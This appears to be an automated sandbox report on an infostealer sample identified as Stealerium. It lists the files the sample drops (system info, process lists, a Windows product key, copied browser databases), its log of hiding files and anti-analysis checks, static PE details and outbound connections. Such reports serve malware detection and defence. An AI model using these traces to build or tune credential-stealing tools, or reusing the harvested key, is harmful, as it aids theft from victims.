SHA-256:	E1321E1F59ED9F2EF742BEA2DEC569D9DE475E0E0EC03429867FE1FE15EE4164
SHA-512:	12E8B186B87BEE5D31022ACD529591D2E3A5CDDCA8156209ECFFC70B14686E77CEE3CB06637E04F9D1258526D9CA9E7905138169F78A16A09048A6B301E1BB87
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.M.!.l7.~S....."SW.^..c......^s........u,-n....A..?.2.....l.(.?....7..~.q$.f..1\.q[.....oS:.gOY".....f-%.P.b.Z....>.....4+..b.Y&..F...)Pq.L....... .....H.#.\|..).?.H.'.\|....).?m.....h.t......\|4.%...d....

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\System\Info.txt

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	515
Entropy (8bit):	5.409556040091591
Encrypted:	false
SSDEEP:	6:RYAUt+gRPHUtL558mXRNhVRJvcbUveLl2Ijl4BjA9YuIrwO4NZxwp6hlrxO+HxGI:RFqfwPRbVkb2wW2YqnjNszJxWW/v5Xyl
MD5:	223123ADCBED69D185EE3C800973AC11
SHA1:	5D284B4C053ACDD9D0DFD819B4B33D7BAC4BECF2
SHA-256:	B04705668EE1EA70F85F1B891882549DA1F8B6606C9289378184252B9E5F562D
SHA-512:	5E67EA3C376F83CCC339FCB9673007F8EC29126F67C6EFCC150EAC6BD36D87748BCFF017BD74E3BC100D1C86D8523883BBA55C75A7B9A9F19F456FA7FDBDE3B3
Malicious:	false
Preview:	.[IP].External IP: 102.129.143.44.Internal IP: No network adapters with an IPv4 address in the system!.Gateway IP: 192.168.2.1..[Machine].Username: user.Compname: 284992.System: Windows 10 Pro (64 Bit).CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.GPU: UP2FLTBU.RAM: 4095MB.DATE: 2023-04-04 4:41:51 PM.SCREEN: 1280x1024.BATTERY: NoSystemBattery (1%).WEBCAMS COUNT: 0..[Virtualization].VirtualMachine: False.SandBoxie: False.Emulator: False.Debugger: False.Processe: False.Hosting: True.Antivirus: Windows Defender..

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21008
Entropy (8bit):	5.734569218615804
Encrypted:	false
SSDEEP:	384:7Y32itQaiWi3ieiUeXbtiyFUIrJ9I+fyHJXi5YzJTUXe6iqGHieO1nig/iimlLij:7Y32itQaiWi3ieiUeXbtiyFUIrJ9I+f/
MD5:	C304C07DEE56D5092FB940CA2352F4D1
SHA1:	2CAFD7095BEB07CE457C6F0803194748B579F45E
SHA-256:	DA7125E4AEC6F8D0C5D33C2EE49AF358A8217D91FAA7D89CC959B1D3BCE13816
SHA-512:	0B8DCF711C7389EC322B11286B47807433BDEA0F9ED50341640F0B918F5F93AF374A3B232ADCFC19AB1E24AE4D434F6266F88F5EBD5D82B1688B61B6EB01BE24
Malicious:	false
Preview:	NAME: svchost..PID: 1292..EXE: c:\windows\system32\svchost.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..PID: 6032..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixavuZbIQWwdpsxUOBAaIIprHJZeIXdMUt\SacXoMHdGBQAUWAmcvNPsqBBtpMl.exe..NAME: csrss..PID: 392..EXE: ..NAME: svchost..PID: 1284..EXE: c:\windows\system32\svchost.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..PID: 5592..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixavuZbIQWwdpsxUOBAaIIprHJZeIXdMUt\SacXoMHdGBQAUWAmcvNPsqBBtpMl.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..PID: 6020..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixavuZbIQWwdpsxUOBAaIIprHJZeIXdMUt\SacXoMHdGBQAUWAmcvNPsqBBtpMl.exe..NAME: sihost..PID: 3004..EXE: c:\windows\system32\sihost.exe..NAME: svchost..PID: 848..EXE: c:\windows\system32\svchost.exe..NAME: svchost..PID: 2140..EXE: c:\windows\system32\svchost.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..PID: 3208..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmG

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.8404025467025056
Encrypted:	false
SSDEEP:	3:j90VTsgWX0:B3gWE
MD5:	17CD50A0BFE91A0362A19E6CE9A05668
SHA1:	37EDDD97E0935C49D1AAFD06FF10DB58A745F021
SHA-256:	638955B0EAC480056C1490C342D1285B10EC9C4E25051C572D3613F5D79442BB
SHA-512:	4802F70E97A7CEE59FDA00474C670D8EE664832B9B19C1E4EAF9BFAE8556767489D123B0FE207FB327BA624517107C4731A9221FDC54D47D8AE9842F9EC3A3CE
Malicious:	false
Preview:	97XQC-NRDXM-Q82BD-83DY8-R79WB

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17678
Entropy (8bit):	5.7320153839702686
Encrypted:	false
SSDEEP:	384:voiGi9iqimiHiuikini9iCikiNIiviniJiDijiKi6iXiOOi3iwiyi2ibieisiMiR:voiGi9iqimiHiuikini9iCikiNIivinl
MD5:	D4C8F48B536C3D5EBCF7E9CF56CDCB77
SHA1:	10A9A1EC2E4773817FD879BBE98634E859587D1F
SHA-256:	02840881E9A6A4FBF714A05E78911E916F9B74F51B67F8D97EAE75C54ABC8BBA
SHA-512:	1B66B647B5153393D5FA7EB12C7C9165491AB2A91CDE56E25A3E7ED29C3CDD376BE74B8EF7DAEF87DB49514A57C3EAA6BB03D7B480712DCF13CE1595CBD021C4
Malicious:	false
Preview:	NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..TITLE: New Tab - Google Chrome..PID: 6032..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixavuZbIQWwdpsxUOBAaIIprHJZeIXdMUt\SacXoMHdGBQAUWAmcvNPsqBBtpMl.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..TITLE: New Tab - Google Chrome..PID: 5592..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixavuZbIQWwdpsxUOBAaIIprHJZeIXdMUt\SacXoMHdGBQAUWAmcvNPsqBBtpMl.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..TITLE: New Tab - Google Chrome..PID: 6020..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixavuZbIQWwdpsxUOBAaIIprHJZeIXdMUt\SacXoMHdGBQAUWAmcvNPsqBBtpMl.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..TITLE: New Tab - Google Chrome..PID: 3208..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixavuZbIQWwdpsxUOBAaIIprHJZeIXdMUt\SacXoMHdGBQAUWAmcvNPsqBBtpMl.exe..NAME: SacXoMHdGBQAUWAmcvNPsqBBtpMl..TITLE: New Tab - Google Chrome..PID: 6012..EXE: C:\Program Files (x86)\tzKOTbktYEMOYlnEsxSaKRiNjHvNOjxqVmGwwixav

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\msgid.dat

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.010570934268484
Encrypted:	false
SSDEEP:	3:McXVbDt:Mcdt
MD5:	90030D1F54CCF501AAEB5DA1DFFCAF34
SHA1:	74ED571F263507E15F2FAB6288C434182150744E
SHA-256:	81569BC9E847B7659172D5991A6277A16688B4EE385B97D570DBF5FE011C1CEF
SHA-512:	82A79A1F2C6C9433FF98D5FB2F75BDD6595DC3DFB9FD60CEA22FF984C3D5042DD52975FC9BE6B9F6799CC646F4E86000209DF4457CC1983766D639D27BB73F9C
Malicious:	false
Preview:	1092821724187332699

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\f2wWJWlU2B.exe.log

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	5.3499841584777394
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4bE4KnKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHbHKnYHKhQnoPtHoxHhAw
MD5:	D58103EB8A28D687903FD94F82E55BA1
SHA1:	9C5A4A3F8C887155CEF62F00A72F8E18F117A842
SHA-256:	1E4499D963B51C8745F2242C303EE5F96DCDB76560B494D156BCDA26961CAE12
SHA-512:	396BCED79CAAC1E0FF8D05754BE68A87B1D942B053D44A1B1DD7B6102E58B44101F9563CA8D0D42C8F6A1DF06F469F0AFD51D8AED80F0E283A47EC1C47ECE0E9
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e08

C:\Users\user\AppData\Local\Temp\Stealerium-Latest.log

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1608
Entropy (8bit):	5.162533638774816
Encrypted:	false
SSDEEP:	48:f66X6JBO4jl3LNLIkWITT4nAbTUS6766N:f3wBbJh6Ab4zt
MD5:	9F326262E365D520926247EF742DD6C7
SHA1:	572EDBAFBDD585E07329F38C2A727211F8C7B7F1
SHA-256:	7A34C7CF3FD4FCE085A6001AFD0F57F537B346E5FC843EEDA7F8AB9A2CBA3BF5
SHA-512:	6206FFFCA1F553FDCC425F48E599BF0CA1352BBCF57C078F66BB63002A0ABDCDFBC8944152B48BD3C7557C77285119D32169F4758B13D598EC0A2EE8A6467554
Malicious:	false
Preview:	HideFile : Adding 'hidden' attribute to file C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf.HideFile : Adding 'hidden' attribute to file C:\Users\user\Desktop\.StartDelay : Sleeping 3260.AntiAnalysis : Hosting detected!.Firefox >> Failed to recover data.System.ArgumentException: The UNC path should be of the form \\server\share... at System.IO.LongPathHelper.Normalize(String path, UInt32 maxPathLength, Boolean checkInvalidCharacters, Boolean expandShortPaths).. at System.IO.Path.NewNormalizePath(String path, Int32 maxPathLength, Boolean expandShortPaths).. at System.IO.Path.NormalizePath(String path, Boolean fullCheck, Int32 maxPathLength, Boolean expandShortPaths).. at System.IO.Path.GetFullPathInternal(String path).. at System.IO.DirectoryInfo.Init(String path, Boolean checkHost).. at System.IO.DirectoryInfo..ctor(String path).. at Stealerium.Target.Browsers.Firefox.Recovery.Run(String sSavePath) in C:\Users\Administrator\Desktop\Client\Temp\icwBcPGSmu

C:\Users\user\AppData\Local\Temp\tmpC3EF.tmp.dat

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.287139506398081
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPF6n/YVuzdqfEwn7PrH944:QS/indc/YVuzdqfEwn7b944
MD5:	292F98D765C8712910776C89ADDE2311
SHA1:	E9F4CCB4577B3E6857C6116C9CBA0F3EC63878C5
SHA-256:	9C63F8321526F04D4CD0CFE11EA32576D1502272FE8333536B9DEE2C3B49825E
SHA-512:	205764B34543D8B53118B3AEA88C550B2273E6EBC880AAD5A106F8DB11D520EB8FD6EFD3DB3B87A4500D287187832FCF18F60556072DD7F5CC947BB7A4E3C3C1
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC7D8.tmp.dat

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC808.tmp.dat

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 2, database pages 36, 1st free page 10, free pages 4, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.45387870883890413
Encrypted:	false
SSDEEP:	96:iWvdU+bb3DtSOaDN6tOVjN9DLjGQLBE3u:iWvK+H3NGN6IVj3XBBE3u
MD5:	9D9851BF9104273B5AB6337A4E38A4AE
SHA1:	0FF6130A7A10B06B73DAB3687ABA6FCD4E92C2E8
SHA-256:	DBC976D79FBC0F3BA62CDEA6EFDDEEAE0ADD7EBF092B865DBB907A1D9B9DA5E1
SHA-512:	DEF485857FB1F882895122AF5ABBC502E708CA62735FF8AC855DEAEC7334D9858019D7889E90B64258EA08E634F3826B7962C29F331392670521C6EABEA0F5E8
Malicious:	false
Preview:	SQLite format 3......@ .......$...........&......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC8A5.tmp.dat

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 2, database pages 36, 1st free page 10, free pages 4, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.45387870883890413
Encrypted:	false
SSDEEP:	96:iWvdU+bb3DtSOaDN6tOVjN9DLjGQLBE3u:iWvK+H3NGN6IVj3XBBE3u
MD5:	9D9851BF9104273B5AB6337A4E38A4AE
SHA1:	0FF6130A7A10B06B73DAB3687ABA6FCD4E92C2E8
SHA-256:	DBC976D79FBC0F3BA62CDEA6EFDDEEAE0ADD7EBF092B865DBB907A1D9B9DA5E1
SHA-512:	DEF485857FB1F882895122AF5ABBC502E708CA62735FF8AC855DEAEC7334D9858019D7889E90B64258EA08E634F3826B7962C29F331392670521C6EABEA0F5E8
Malicious:	false
Preview:	SQLite format 3......@ .......$...........&......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC904.tmp.dat

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.287139506398081
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPF6n/YVuzdqfEwn7PrH944:QS/indc/YVuzdqfEwn7b944
MD5:	292F98D765C8712910776C89ADDE2311
SHA1:	E9F4CCB4577B3E6857C6116C9CBA0F3EC63878C5
SHA-256:	9C63F8321526F04D4CD0CFE11EA32576D1502272FE8333536B9DEE2C3B49825E
SHA-512:	205764B34543D8B53118B3AEA88C550B2273E6EBC880AAD5A106F8DB11D520EB8FD6EFD3DB3B87A4500D287187832FCF18F60556072DD7F5CC947BB7A4E3C3C1
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.976071666405212
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	f2wWJWlU2B.exe
File size:	2248192
MD5:	0b0596f72accd0b8b6883ffd1ef44d19
SHA1:	893932aa47cbf2d9e502a0edba41d44bf8d1c5a8
SHA256:	86aa79c05ad10f311c2c4d97ddc40d8fb048d25271d68387608aff6600bb5ac4
SHA512:	d3341788602a54a4fec8573c36f224561dbcb298bc80b8b8d1606d40fc4058882455883e1a07fbec390dc795cbeec28334a1892e5864fd9b257aed27a5a1c7e3
SSDEEP:	24576:wKVZ90LoT6hICtauAOpo9TWMxB7qh04Z9kSkAN4aIBUekSlP7syRpjJA4mprZiJl:N30LQciWMfQ04Z9g25ISjqh3aqCOBQm
TLSH:	B2A5232AD6A12221EB6887BD30616881D7BDD2D6974BDB49EE0CB0D31CF63C04B1F597
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>"d..............0..6"..........T".. ...`"...@.. ........................"...........@................................

File Icon


Icon Hash:	0000000000000000

Static PE Info

General

Entrypoint:	0x6254ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64223E8A [Tue Mar 28 01:10:34 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
push es
pop es
add eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x22547c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x226000	0x13c0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x228000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x221b2c	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2234dc	0x223600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x226000	0x13c0	0x1400	False	0.7509765625	data	7.118051187787163	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x228000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x2260c8	0xf92	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x22706c	0x14	data
RT_VERSION	0x227090	0x32c	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2023 16:42:03.669570923 CEST	49695	80	192.168.2.5	208.95.112.1
Apr 4, 2023 16:42:03.706480980 CEST	80	49695	208.95.112.1	192.168.2.5
Apr 4, 2023 16:42:03.706677914 CEST	49695	80	192.168.2.5	208.95.112.1
Apr 4, 2023 16:42:03.707691908 CEST	49695	80	192.168.2.5	208.95.112.1
Apr 4, 2023 16:42:03.745585918 CEST	80	49695	208.95.112.1	192.168.2.5
Apr 4, 2023 16:42:03.909600019 CEST	49695	80	192.168.2.5	208.95.112.1
Apr 4, 2023 16:42:04.302308083 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.302387953 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.302481890 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.345022917 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.345057011 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.399873972 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.399966955 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.405608892 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.405632973 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.406166077 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.610750914 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.610867977 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.639619112 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.639661074 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.817569971 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.818053007 CEST	443	49696	162.159.130.233	192.168.2.5
Apr 4, 2023 16:42:04.818159103 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:04.822761059 CEST	49696	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:42:09.798162937 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:42:09.815287113 CEST	80	49697	104.18.114.97	192.168.2.5
Apr 4, 2023 16:42:09.815387011 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:42:09.833792925 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:42:09.850975037 CEST	80	49697	104.18.114.97	192.168.2.5
Apr 4, 2023 16:42:09.856940031 CEST	80	49697	104.18.114.97	192.168.2.5
Apr 4, 2023 16:42:10.003809929 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:42:13.926948071 CEST	49695	80	192.168.2.5	208.95.112.1
Apr 4, 2023 16:42:13.965194941 CEST	80	49695	208.95.112.1	192.168.2.5
Apr 4, 2023 16:42:14.098032951 CEST	49695	80	192.168.2.5	208.95.112.1
Apr 4, 2023 16:42:38.102708101 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:42:38.125606060 CEST	80	49697	104.18.114.97	192.168.2.5
Apr 4, 2023 16:42:38.318766117 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:42:47.608488083 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:47.608565092 CEST	443	49699	51.38.43.18	192.168.2.5
Apr 4, 2023 16:42:47.608690023 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:47.610054970 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:47.610105038 CEST	443	49699	51.38.43.18	192.168.2.5
Apr 4, 2023 16:42:47.741481066 CEST	443	49699	51.38.43.18	192.168.2.5
Apr 4, 2023 16:42:47.741758108 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:47.748415947 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:47.748435020 CEST	443	49699	51.38.43.18	192.168.2.5
Apr 4, 2023 16:42:47.748938084 CEST	443	49699	51.38.43.18	192.168.2.5
Apr 4, 2023 16:42:47.817790031 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:47.817842960 CEST	443	49699	51.38.43.18	192.168.2.5
